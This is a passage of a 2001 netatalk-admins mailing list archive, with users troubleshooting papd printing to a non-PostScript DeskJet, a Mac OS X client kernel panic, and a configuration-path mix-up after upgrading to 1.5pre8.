	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA07653
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 20:23:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA07631
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 20:23:29 -0400 (EDT)
Received: from mta7.srv.hcvlny.cv.net (mta7.srv.hcvlny.cv.net [167.206.5.22])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA07598
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 20:23:28 -0400 (EDT)
Received: from ool-18bcc684.dyn.optonline.net
 (ool-18bcc684.dyn.optonline.net [24.188.198.132]) by mta7.srv.hcvlny.cv.net
 (iPlanet Messaging Server 5.0 Patch 2 (built Dec 14 2000))
 with ESMTP id <0GLO001ZAP33BT@mta7.srv.hcvlny.cv.net> for
 netatalk-admins@umich.edu; Tue, 23 Oct 2001 20:23:27 -0400 (EDT)
Date: Tue, 23 Oct 2001 20:23:03 -0400
From: Mark Licker <mdlicker@optonline.net>
Subject: Difficulties printing to non-ps printer
To: netatalk-admins@umich.edu
Message-id: <1003882983.2990.68.camel@mdllinux>
MIME-version: 1.0
X-Mailer: Evolution/0.13 (Preview Release)
Content-type: text/plain
Content-transfer-encoding: 7BIT

Hello,
I've been using v.1.5pre3 with Linux-Mandrake 8.0 (i586) successfully
for several months with a small LAN linking Macs running OS8.6. Recently
upgraded to L-M 8.1, reinstalled Netatalk. File sharing works fine, but
I can't get my Macs to print as before to a non-ps inkjet printer hooked
(locally) to Linux box. Here are particulars:
Linux printer = HP DeskJet500, name=lp, driver=Ghostscript+djet500 (also
tried Ghostscript+gimp-print), saved in file /etc/cups/ppd/lp.ppd
(printcap file -/etc/printcap- contains only lp:)
My papd.conf file contains following active lines:
	lp:\
		:pr=lp:op=mdl\:
		:prd=:/etc/cups/ppd/lp.ppd:
The Macs are set up to load extension Laserwriter 8, which shows up in
the Chooser. When I highlight this, lp shows up in the right-hand panel,
so I believe the Mac is reading the papd.conf file (after rebooting
Linux). After clicking Create, I've selected the generic postscript ppd
(also tried LaserWriter, LaserWriter II NT, etc.) and attempted to
update printer info. Here, the Mac stalls for a while showing 'printer
spooler processing job'. The only info showing up when finished is the
printer name and 300dpi. When I try to print to the desktop printer,
nothing happens, the job shows on the Mac up as pending in the
printspooler with an error message later on indicating 'a connection was
made to the printer, but the printer is currently not responding to
queries.' My Linux system log shows two lines: 'no such printer: lp,'
and "printcap problem: lp."

I'm assuming that my papd.conf file is not routing the job properly.The
DeskJet works fine locally. Would greatly appreciate any help.
Mark 




From netatalk.administrators-errors@umich.edu  Tue Oct 23 21:14:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA08660
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 21:14:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA08716
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 21:14:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA08701
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 21:14:22 -0400 (EDT)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA08657
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 21:14:21 -0400 (EDT)
Received: from tc09-n66-202.de.inter.net ([213.73.66.202] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15wCcd-0005Zc-00
	for netatalk-admins@umich.edu; Wed, 24 Oct 2001 03:14:19 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA24213
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 03:13:50 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Difficulties printing to non-ps printer
Date: Wed, 24 Oct 2001 03:08:37 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <1003882983.2990.68.camel@mdllinux>
In-Reply-To: <1003882983.2990.68.camel@mdllinux>
MIME-Version: 1.0
Message-Id: <01102403135000.24206@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA08660

On Wed, 24 Oct 2001, Mark Licker wrote:
> Hello,
> I've been using v.1.5pre3 with Linux-Mandrake 8.0 (i586) successfully
> for several months with a small LAN linking Macs running OS8.6. Recently
> upgraded to L-M 8.1, reinstalled Netatalk. File sharing works fine, but
> I can't get my Macs to print as before to a non-ps inkjet printer hooked
> (locally) to Linux box. Here are particulars:
> Linux printer = HP DeskJet500, name=lp, driver=Ghostscript+djet500 (also
> tried Ghostscript+gimp-print), saved in file /etc/cups/ppd/lp.ppd
> (printcap file -/etc/printcap- contains only lp:)
> My papd.conf file contains following active lines:
> 	lp:\
> 		:pr=lp:op=mdl\:
> 		:prd=:/etc/cups/ppd/lp.ppd:

This is complete garbage:
The backslash `\' escapes the new-lines, you have to put the backslash at the very end of a line!
There is no field call `prd', you probably want to rename this to `pd'.


> The Macs are set up to load extension Laserwriter 8, which shows up in
> the Chooser. When I highlight this, lp shows up in the right-hand panel,
> so I believe the Mac is reading the papd.conf file (after rebooting
> Linux). After clicking Create, I've selected the generic postscript ppd
> (also tried LaserWriter, LaserWriter II NT, etc.) and attempted to
> update printer info. Here, the Mac stalls for a while showing 'printer
> spooler processing job'. The only info showing up when finished is the
> printer name and 300dpi. When I try to print to the desktop printer,
> nothing happens, the job shows on the Mac up as pending in the
> printspooler with an error message later on indicating 'a connection was
> made to the printer, but the printer is currently not responding to
> queries.' My Linux system log shows two lines: 'no such printer: lp,'
> and "printcap problem: lp."

Do you have a printer called `lp' in your printcap at all?


> 
> I'm assuming that my papd.conf file is not routing the job properly.The
> DeskJet works fine locally. Would greatly appreciate any help.
> Mark

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Oct 23 21:24:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA09192
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 21:24:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA00378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 21:24:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA00376
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 21:24:08 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA00360
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 21:24:06 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000109092; Wed, 24 Oct 2001 03:24:07 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b7fbbb49aa67@[192.168.1.201]>
Date: Wed, 24 Oct 2001 03:23:56 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: 1.5pre8 - OSX 10.1 kernel panic (client)
Cc: Leland Wallace <randall@apple.com>
Content-Type: text/plain; charset="us-ascii"

Hi all,

Just thought to give a notice about a kernel panic on OSX 10.1 that occurred to me shortly after connection to a netatalk 1.5p8 (CVS build of 2001.10.10, --enable-cnid-db) share running on SuSE Linux 7.2/i686.

I could reproduce it at any time: connect, enter password, choose share, double click, panic.
It happened only with one specific share on the same server. the others  mounted and worked well.

I guess the cause was a missing resource part for the .VolumeIcon.icns file
(this file was created by OS X after pasting an icon on the share volume). 
The resource part was missing because I had removed manually that particular .AppleDouble directory before.

Removing the remaining .VolumeIcon.icns data file caused the share to be mounted without panic;
Re-pasting the icon onto the volume afterwards and unmounting/remounting also showed no more panics....

It shouldn't be such a common scenario, but a kernel panic is nasty.

Notes: 
- It should not be that easy to crash an OSX client.... ;-)
- Maybe adding the right type/creator in AppleVolumes.system for .icns files will help preventing this, as I can't find anything else in those .AppleDouble/ .VolumeIcon.icns than type/creator information.


Regards,
Lorenzo



From netatalk.administrators-errors@umich.edu  Tue Oct 23 23:24:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA13273
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 23 Oct 2001 23:24:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA15679
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 23 Oct 2001 23:24:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA15672
	for netatalk.administrators-members@umich.edu; Tue, 23 Oct 2001 23:24:18 -0400 (EDT)
Received: from clever.eusc.inter.net (clever.eusc.inter.net [213.73.101.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA15662
	for <netatalk-admins@umich.edu>; Tue, 23 Oct 2001 23:24:17 -0400 (EDT)
Received: from tc09-n66-249.de.inter.net ([213.73.66.249] helo=athlet.deltaman.de)
	by clever.eusc.inter.net with esmtp (Exim 3.22 #3)
	id 15wEeI-0006rt-00
	for netatalk-admins@umich.edu; Wed, 24 Oct 2001 05:24:11 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id FAA00774
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 05:23:45 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Difficulties printing to non-ps printer
Date: Wed, 24 Oct 2001 05:03:04 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <1003882983.2990.68.camel@mdllinux> <01102403135000.24206@athlet> <1003890791.3594.10.camel@mdllinux>
In-Reply-To: <1003890791.3594.10.camel@mdllinux>
MIME-Version: 1.0
Message-Id: <01102405234500.00515@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA13273

On Wed, 24 Oct 2001, Mark Licker wrote:
[snip]
> My apologies for the misprints. The lines in papd.conf are as follows:
> 	lp:\
> 		:pr=lp:op=mdl:\
> 		:pd=/etc/cups/ppd/lp.ppd:
> The /etc/printcap file contains one line:
> lp:

Can you print locally to your printer?
If yes, you may replace the :pr=lp: field of your papd.conf by
:pr=|<your_print_spooling_command_line>:

I don't know CUPS but for lpr this would be
	:pr=|/usr/bin/lpr -Plp:
or more simple
	:pr=|/usr/bin/lpr:

This worked for me.

Kind regards

	Carsten


P.S.: This list's daemon doesn't append a `Reply to:' field. (very ugly!)
Therefore you have to edit the `To:' field by hand or do a `reply to all'
so that all subscribers can participate.

Another thing:
Can all `Out of office' repliers stop sending those messages to mailing lists, please!?

From netatalk.administrators-errors@umich.edu  Wed Oct 24 03:33:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA25619
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 03:33:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA14393
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 03:33:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA14384
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 03:33:00 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA14336
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 03:32:58 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9O7Wvq05843
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 09:32:57 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9O7WvT14164
	for netatalk-admins@umich.edu; Wed, 24 Oct 2001 09:32:57 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15wISO-0000Uw-00
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 09:28:08 +0200
Date: Wed, 24 Oct 2001 09:28:08 +0200
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
Message-ID: <20011024092808.C1808@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <a05101000b7fbbb49aa67@[192.168.1.201]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <a05101000b7fbbb49aa67@[192.168.1.201]>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Wed, Oct 24, 2001 at 03:23:56AM +0200, Lorenzo Perone wrote:

> Just thought to give a notice about a kernel panic on OSX 10.1 that occurred to me shortly after connection to a netatalk 1.5p8 (CVS build of 2001.10.10, --enable-cnid-db) share running on SuSE Linux 7.2/i686.

We had another report about a kernel panic on netatalk-devel. There is not
much we can do about that. Please contact the Linux Kernel folks. Which
version of the Kernel are you using?

 - Sebastian


From netatalk.administrators-errors@umich.edu  Wed Oct 24 06:16:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA01581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 06:16:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA10848
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 06:16:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA10846
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 06:16:35 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA10842
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 06:16:34 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000109170; Wed, 24 Oct 2001 12:16:30 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a05101000b7fc44cc6664@[192.168.1.201]>
In-Reply-To: <20011024092808.C1808@jroger.in-berlin.de>
References: <a05101000b7fbbb49aa67@[192.168.1.201]>
 <20011024092808.C1808@jroger.in-berlin.de>
Date: Wed, 24 Oct 2001 12:16:18 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
Cc: Sebastian Rittau <srittau@jroger.in-berlin.de>
Content-Type: text/plain; charset="us-ascii"

At 9:28 Uhr +0200 24.10.2001, Sebastian Rittau wrote:
>On Wed, Oct 24, 2001 at 03:23:56AM +0200, Lorenzo Perone wrote:
>
>> Just thought to give a notice about a kernel panic on OSX 10.1 that occurred to me shortly after connection to a netatalk 1.5p8 (CVS build of 2001.10.10, --enable-cnid-db) share running on SuSE Linux 7.2/i686.
>
>We had another report about a kernel panic on netatalk-devel. There is not
>much we can do about that. Please contact the Linux Kernel folks. Which
>version of the Kernel are you using?
>
> - Sebastian

It's the _client_, Darwin Kernel that crashes (sorry if it wasn't clear enough!!!).
The Linux server does just fine.

anyway,
Client: Darwin Kernel Version 1.4 - OSX 10.1
Server: SuSE Linux 7.1 (some packages 7.2), Kernel 2.4.0-4GB (SuSE).


Regards,
Lorenzo




From netatalk.administrators-errors@umich.edu  Wed Oct 24 07:45:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04398
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 07:45:30 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA16488
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 07:45:29 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA16471
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 07:45:29 -0400 (EDT)
Received: from webdiscount.net (ns0.webdiscount.net [209.207.141.140])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA16444
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 07:45:28 -0400 (EDT)
Received: from pc1 ([217.29.8.82])
	by webdiscount.net (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id NAA04768
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 13:40:21 +0200
X-Authentication-Warning: webdiscount.net: Host [217.29.8.82] claimed to be pc1
From: "Michael Boehme" <mboehme@webdiscount.net>
To: <netatalk-admins@umich.edu>
Subject: subscribe
Date: Wed, 24 Oct 2001 13:41:46 +0200
Message-ID: <NFBBJOPBDHBIBGENEGBOIEJMCOAA.mboehme@webdiscount.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

subscribe


Michael

-- 
# In a world without walls and fences who needs windows and gates?
 

From netatalk.administrators-errors@umich.edu  Wed Oct 24 08:18:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA05604
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 08:18:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA17297
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 08:18:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA17283
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 08:18:20 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA17246
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 08:18:19 -0400 (EDT)
Received: from smtp-relay01.mac.com (smtp-relay01-qfe3 [10.13.10.224])
	by smtpout.mac.com (8.10.2/8.10.2/1.0) with ESMTP id f9OCHxc07149
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 05:17:59 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GLPM6C00.I3D for
          <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 05:18:12 -0700 
Received: from localhost ([62.175.32.57]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GLPM6B00.OD5; Wed, 24 Oct 2001 05:18:11 -0700 
Date: Wed, 24 Oct 2001 14:18:08 +0200
Subject: Re: Difficulties printing to non-ps printer
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: netatalk-admins@umich.edu
To: deltor@snafu.de
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <01102405234500.00515@athlet>
Message-Id: <2F41545A-C879-11D5-83EF-000A277D821C@mac.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

If memory serves me well (doubtful), this is a required fix to make CUPS 
work with PAPD.

Cheers,
Jason.


On Wednesday, October 24, 2001, at 05:03  am, Carsten Neumann wrote:
> If yes, you may replace the :pr=lp: field of your papd.conf by
> :pr=|<your_print_spooling_command_line>:
>


From netatalk.administrators-errors@umich.edu  Wed Oct 24 13:10:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA20467
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 13:10:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA00130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 13:10:41 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA00112
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 13:10:41 -0400 (EDT)
Received: from uber.javelindigital.com (ip-216-126-20-165.oanet.com [216.126.20.165])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA00060
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 13:10:39 -0400 (EDT)
Received: from darron.internal.javelindigital.com (gateway.javelindigital.com [216.126.20.162])
	by uber.javelindigital.com (Postfix) with ESMTP id DD0521D4002
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 11:10:37 -0600 (MDT)
Date: Wed, 24 Oct 2001 11:10:38 -0600
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: Only "Home Directory" and nothing else...
From: Darron Froese <darron@javelindigital.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <0BDB272C-C8A2-11D5-BFC6-000A277A8D0A@javelindigital.com>
X-Mailer: Apple Mail (2.472)

I recently upgraded from 1.4.99-20001108 (which has been working fine for 
quite some time) to 1.5pre8 on a Mandrake Linux 7.1 box. This is how it 
was compiled from source:

./configure \
--prefix=/usr \
--sysconfdir=/etc/afpd \
--with-config-dir=/etc/afpd \
--with-pam \
--disable-ddp \
--with-tcp-wrappers \
--with-uams-path=/etc/afpd/uams \
--with-ssl-dir=/usr

This is my /etc/afpd/AppleVolumes.default file:
~
/var/virtual-hosts VirtualHosts allow:darron,tim,@sutjav options:crlf

I can log in just fine from our MacOS 9 and X.1 machines but I only see 
each user's "Home Directory".

I've compared the current AppleVolumes.default file with the one in the 
config subdirectory in the new source tree and have changed my 
AppleVolumes.default to match but no matter what I do, I can never see 
anything other than "Home Directory".

It's almost like it's ignoring that configuration file.

Anyone know what I'm missing?
--
darron froese
new media technologist
sutton javelin corporate communications
t  403.716.0351
f  403.265.7662
e  darron@javelindigital.com


From netatalk.administrators-errors@umich.edu  Wed Oct 24 13:33:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA22113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 13:33:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA10664
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 13:33:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA10651
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 13:33:34 -0400 (EDT)
Received: from uber.javelindigital.com (ip-216-126-20-165.oanet.com [216.126.20.165])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA10627
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 13:33:33 -0400 (EDT)
Received: from darron.internal.javelindigital.com (gateway.javelindigital.com [216.126.20.162])
	by uber.javelindigital.com (Postfix) with ESMTP id 34E141D4002
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 11:33:31 -0600 (MDT)
Date: Wed, 24 Oct 2001 11:33:31 -0600
Subject: Re: Only "Home Directory" and nothing else...
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: Darron Froese <darron@javelindigital.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <0BDB272C-C8A2-11D5-BFC6-000A277A8D0A@javelindigital.com>
Message-Id: <3E6ED657-C8A5-11D5-BFC6-000A277A8D0A@javelindigital.com>
X-Mailer: Apple Mail (2.472)


On Wednesday, October 24, 2001, at 11:10  AM, Darron Froese wrote:

>
> It's almost like it's ignoring that configuration file.
>
> Anyone know what I'm missing?

Sorry for wasting everybody's time - it placed the new configuration files 
in the netatalk subfolder and was ignoring my old configuration files /etc/
afpd.

Doh.
--
darron froese
new media technologist
sutton javelin corporate communications
t  403.716.0351
f  403.265.7662
e  darron@javelindigital.com


From netatalk.administrators-errors@umich.edu  Wed Oct 24 14:00:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA23259
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 24 Oct 2001 14:00:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA16126
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 24 Oct 2001 14:00:16 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA16118
	for netatalk.administrators-members@umich.edu; Wed, 24 Oct 2001 14:00:16 -0400 (EDT)
Received: from mail-r5.shlink.de (mail-r5.shlink.de [212.60.1.141])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA16087
	for <netatalk-admins@umich.edu>; Wed, 24 Oct 2001 14:00:14 -0400 (EDT)
Received: (qmail 29357 invoked from network); 24 Oct 2001 18:00:10 -0000
Received: from mail-r3.shlink.de (212.60.1.6)
	  by mail-r5.shlink.de with SMTP; 24 Oct 2001 18:00:10 -0000
Received: (qmail 25598 invoked from network); 24 Oct 2001 18:00:05 -0000
Received: from gate.pcshome.de (HELO kay) (212.60.3.38)
	  by mail-r3.shlink.de with SMTP; 24 Oct 2001 18:00:05 -0000
Reply-To: <k.galba@pcshome.de>
From: "Kay Galba" <k.galba@pcshome.de>
To: <netatalk-admins@umich.edu>
Subject: Install Instruction 1.5pre8 needed
Date: Wed, 24 Oct 2001 20:00:03 +0200
Message-ID: <NEBBLOAADPIAMOADLLOFKEGPCFAA.k.galba@pcshome.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
